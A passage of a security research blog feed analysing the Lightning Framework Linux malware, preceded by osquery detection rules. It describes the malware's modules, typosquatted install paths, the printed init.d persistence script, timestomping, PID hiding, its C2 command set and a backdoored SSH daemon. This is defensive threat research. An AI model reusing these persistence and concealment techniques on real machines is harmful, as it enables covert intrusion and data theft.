&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;linux-startup-item&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;query&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT * FROM startup_items WHERE name = &amp;#39;elastisearch&amp;#39;;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;interval&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;60&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://intezer.com/blog/research/lightning-framework-new-linux-threat/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;platform&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;linux&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Possible Lightning Framework startup item&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;linux-kernel-module&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;query&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT * FROM kernel_modules WHERE name = &amp;#39;elastisearch&amp;#39;;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;interval&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;60&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://intezer.com/blog/research/lightning-framework-new-linux-threat/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;platform&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;darwin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Possible Lightning Framework rootkit&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Lightning Framework: New Undetected "Swiss Army Knife" Linux Malware ⚡</title><link>https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/</link><pubDate>Thu, 21 Jul 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/</guid><description>
&lt;p&gt;&lt;em&gt;Lightning Framework is a new undetected Swiss Army Knife-like Linux malware
that has modular plugins and the ability to install rootkits.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Year after year Linux environments increasingly become the target of malware
due to continued threat actor interest in the space. Malware targeting Linux
environments surged in 2021, with a large amount of innovation
&lt;a href="https://www.ibm.com/downloads/cas/ADLMYLAZ"target="_blank" rel="noopener"&gt;resulting in new malicious code&lt;/a&gt;,
especially in ransomwares, trojans, and botnets. With the rise in use of the
cloud, it is no wonder that malware innovation is still accelerating at
breakneck speed in this realm.&lt;/p&gt;
&lt;p&gt;This is a technical analysis of a previously undocumented and undetected Linux
threat called the Lightning Framework. It is rare to see such an intricate
framework developed for targeting Linux systems. Lightning is a modular
framework we discovered that has a plethora of capabilities, and the ability to
install multiple types of rootkit, as well as the capability to run plugins.
The framework has both passive and active capabilities for communication with
the threat actor, including opening up SSH on an infected machine, and a
polymorphic malleable command and control configuration. We are releasing this
blog for informational purposes. We do not have all the files that are
referenced in the framework, but hope that this release will help others if
they possess other pieces of the jigsaw puzzle. We have not observed this
malware being used in attacks in the wild.&lt;/p&gt;
&lt;h2&gt;Technical Analysis of Lightning Framework&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-lightning-framework"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-lightning-framework" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The framework consists of a downloader and core module, with a number of
plugins. Some of the plugins used by the malware are open-source tools. Below
is a figure of the framework layout:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig1.jpeg" title="Diagram of the Lightning Framework layout: the downloader and core module with their plugins." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Diagram of the Lightning Framework layout: the downloader and core module with their plugins.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Overview of the Modules&lt;span class="hx:absolute hx:-mt-20" id="overview-of-the-modules"&gt;&lt;/span&gt;
&lt;a href="#overview-of-the-modules" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Name on Disk&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Lightning.Downloader&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kbioset&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The persistent module that downloads the core module and its plugins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Lightning.Core&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kkdmflush&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The main module of the Lightning Framework&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Lightning.SsHijacker&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;soss&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;There is a reference to this module but no sample found in the wild yet.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Lightning.Sshd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sshod&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OpenSSH with hardcoded private and host keys&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Lightning.Nethogs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nethoogs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;There is a reference to this module but no sample found in the wild yet. Presumably the software &lt;a href="https://github.com/raboof/nethogs"target="_blank" rel="noopener"&gt;Nethogs&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Lightning.iftop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;iftoop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;There is a reference to this module but no sample found in the wild yet. Presumably the software &lt;a href="https://linux.die.net/man/8/iftop"target="_blank" rel="noopener"&gt;iftop&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Lightning.iptraf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;iptraof&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;There is a reference to this module but no sample found in the wild yet. Presumably the software &lt;a href="http://iptraf.seul.org/"target="_blank" rel="noopener"&gt;IPTraf&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.RootkieHide&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;libsystemd.so.2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;There is a reference to this module but no sample found in the wild yet. LD_PRELOAD Rootkit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Kernel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;elastisearch.ko&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;There is a reference to this module but no sample found in the wild yet. LKM Rootkit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Lightning.Downloader&lt;span class="hx:absolute hx:-mt-20" id="lightningdownloader"&gt;&lt;/span&gt;
&lt;a href="#lightningdownloader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The main function of the downloader module is to fetch the other components and
execute the core module.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig2.png" title="Lightning Downloader result in Intezer Analyze" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Lightning Downloader result in Intezer Analyze&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The downloader module starts by checking if it is located in the working
directory &lt;code&gt;/usr/lib64/seahorses/&lt;/code&gt; under the name &lt;code&gt;kbioset&lt;/code&gt;. The framework makes
heavy use of typosquatting and masquerading in order to remain undetected. The
reference to &lt;code&gt;seahorses&lt;/code&gt; masquerades the password and key manager software
&lt;a href="https://gitlab.gnome.org/GNOME/seahorse"target="_blank" rel="noopener"&gt;seahorse&lt;/a&gt;. If not it will relocate
itself to that working directory and execute that copy. The downloader will
fingerprint the host name and network adapters to generate a GUID, which will
be sent to the command and control (C2) server.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig3.png" title="Building the GUID" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Building the GUID&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The downloader will then contact the C2 to fetch the following modules and
plugins:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Linux.Plugin.Lightning.SsHijacker&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Linux.Plugin.Lightning.Sshd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Linux.Plugin.Lightning.Nethogs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Linux.Plugin.Lightning.iftop&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Linux.Plugin.Lightning.iptraf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Lightning.Core&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig4.png" title="Resources fetched from the C2" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Resources fetched from the C2&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The method of contacting the C2 will be described below in the malleable C2
section (click here to jump to that section). The downloader will then execute
the core module (&lt;code&gt;kkdmflush&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig5.png" title="Execution of the core module" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Execution of the core module&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Lightning.Core&lt;span class="hx:absolute hx:-mt-20" id="lightningcore"&gt;&lt;/span&gt;
&lt;a href="#lightningcore" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The core module is the main module in this framework, it is able to receive
commands from the C2 and execute the plugin modules. The module has many
capabilities and uses a number of techniques to
&lt;a href="https://attack.mitre.org/techniques/T1564/"target="_blank" rel="noopener"&gt;hide artifacts&lt;/a&gt; to remain running
under the radar.&lt;/p&gt;
&lt;p&gt;The core module modifies the name of the calling thread of the module to
&lt;code&gt;kdmflush&lt;/code&gt;, to make it appear that it is a kernel thread.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig6.png" title="Using prctl to modify calling thread name" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Using prctl to modify calling thread name&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Next the core module sets up persistence by creating a script that is executed
upon system &lt;a href="https://attack.mitre.org/techniques/T1037/"target="_blank" rel="noopener"&gt;boot&lt;/a&gt;. This is
achieved by first creating a file located at &lt;code&gt;/etc/rc.d/init.d/elastisearch&lt;/code&gt;.
The name appears to typosquat elasticsearch. The following contents are written
to the file:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&lt;/span&gt;&lt;span class="c1"&gt;# chkconfig:2345 90 20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/lib64/seahorses/kbioset &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This script will execute the downloader module upon boot. The service is then
added using the &lt;code&gt;chkconfig&lt;/code&gt; utility.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig7.png" title="Creation of the init.d script and service" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Creation of the init.d script and service&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The timestamp of the file is modified to hide artifacts, a technique known as
&amp;ldquo;&lt;a href="https://attack.mitre.org/techniques/T1070/006/"target="_blank" rel="noopener"&gt;timestomping&lt;/a&gt;&amp;rdquo;. The file has
its last modified time edited to match that of either &lt;code&gt;whoami&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt;, or
&lt;code&gt;su&lt;/code&gt;. It will look for each file respectively until it finds one. This
technique is used for most of the files that the framework creates.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig8.png" title="File timestamp modification function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;File timestamp modification function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware will attempt to hide its Process ID (PID) and any related network
ports. This is achieved by writing the frameworks running PIDs to two files:
&lt;code&gt;hpi&lt;/code&gt; and &lt;code&gt;hpo&lt;/code&gt;. These files are parsed and then the existence of the file
&lt;code&gt;proc/y.y&lt;/code&gt; is checked. If the file exists, it means that a rootkit has been
installed. The PIDs are written to &lt;code&gt;proc/y.y&lt;/code&gt; for use by the rootkit, which may
scrub any reference to files running in the framework from commands such as
&lt;code&gt;ps&lt;/code&gt; and &lt;code&gt;netstat&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig9.png" title="Writing PID to proc/y.y if it exists (Indication that rootkit exists)" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Writing PID to proc/y.y if it exists (Indication that rootkit exists)&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The core module will generate a GUID in the same manner as the downloader and
contact the C2. The response is parsed and the command is executed. The core
module has the following commands:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SystemInfo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fingerprints the machine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PureShellCommand&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Runs Shell command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RunShellPure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Starts the &lt;code&gt;Linux.Plugin.Lightning.Sshd&lt;/code&gt; (SSH Daemon) plugin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CloseShellPure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Terminates the &lt;code&gt;Linux.Plugin.Lightning.Sshd&lt;/code&gt; plugin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Disconnect&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exits the Core module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetRemotePathInfo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Collects the summary of given path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeepAlive&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No action, connection remains alive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UploadFileHeader&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Checks access of file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FileEdit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Gets contents of file and time meta&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TryPassSSH&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Adds a public key to the &lt;code&gt;root/.ssh/authorized_keys&lt;/code&gt; file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DeleteVecFile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deletes the specified file or path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PreDownloadFile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Calculates a checksum of the file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DownloadFile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sends a file to the C2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DeleteGuid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Removes the framework&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UpdateVersion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Calls the Downloader module to update the framework&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UpdateRemoteVersion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Updates the framework including the downloader&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Socks5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sets up a Socks5 proxy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RestorePlug&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The same as &lt;code&gt;UpdateVersion&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetDomainSetting&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fetches the contents of the malleable C2 configuration file (&lt;code&gt;cpc&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SetDomainSetting&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Updates the contents of the malleable C2 configuration file (&lt;code&gt;cpc&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;InstallKernelHide&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fetches the OS release&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RemoveKernelHide&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Removes kernel module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UpdateKernelVersion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Removes the kernel module and runs &lt;code&gt;uname -r&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OverrideFile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Overwrites specified file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UploadFileContent&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Writes data sent from server to file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LocalPluginRequest&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Either write the LD_PRELOAD rootkit or LKM rootkit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Network Communication&lt;span class="hx:absolute hx:-mt-20" id="network-communication"&gt;&lt;/span&gt;
&lt;a href="#network-communication" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Network communication in the Core and Downloader modules are performed over TCP
sockets. The data is structured in JSON. The C2 is stored in a polymorphic
encoded configuration file that is unique for every single creation. This means
that configuration files will not be able to be detected through techniques
such as hashes. The key is built into the start of the encoded file.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig10.png" title="Encoded malleable C2 configuration profile" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Encoded malleable C2 configuration profile&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig11.png" title="The dynamic XOR decoding routine" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The dynamic XOR decoding routine&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The decoded configuration is structured in JSON. The default configuration in
the analyzed sample uses a local IP address &lt;code&gt;10.2.22[.]67&lt;/code&gt; with the port
&lt;code&gt;33229&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig12.png" title="Decoded default configuration" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decoded default configuration&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;There is a passive mode of communication available if the actor executes the
&lt;code&gt;RunShellPure&lt;/code&gt; command. This starts an SSH service on the infected machine with
the &lt;code&gt;Linux.Plugin.Lightning.Sshd&lt;/code&gt; plugin. The plugin is an OpenSSH daemon that
has hardcoded private and host keys, allowing the attacker to SSH into the
machine with their own SSH key, creating a secondary backdoor.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig13.png" title="Hardcoded keys inside the modified OpenSSH daemon" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hardcoded keys inside the modified OpenSSH daemon&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
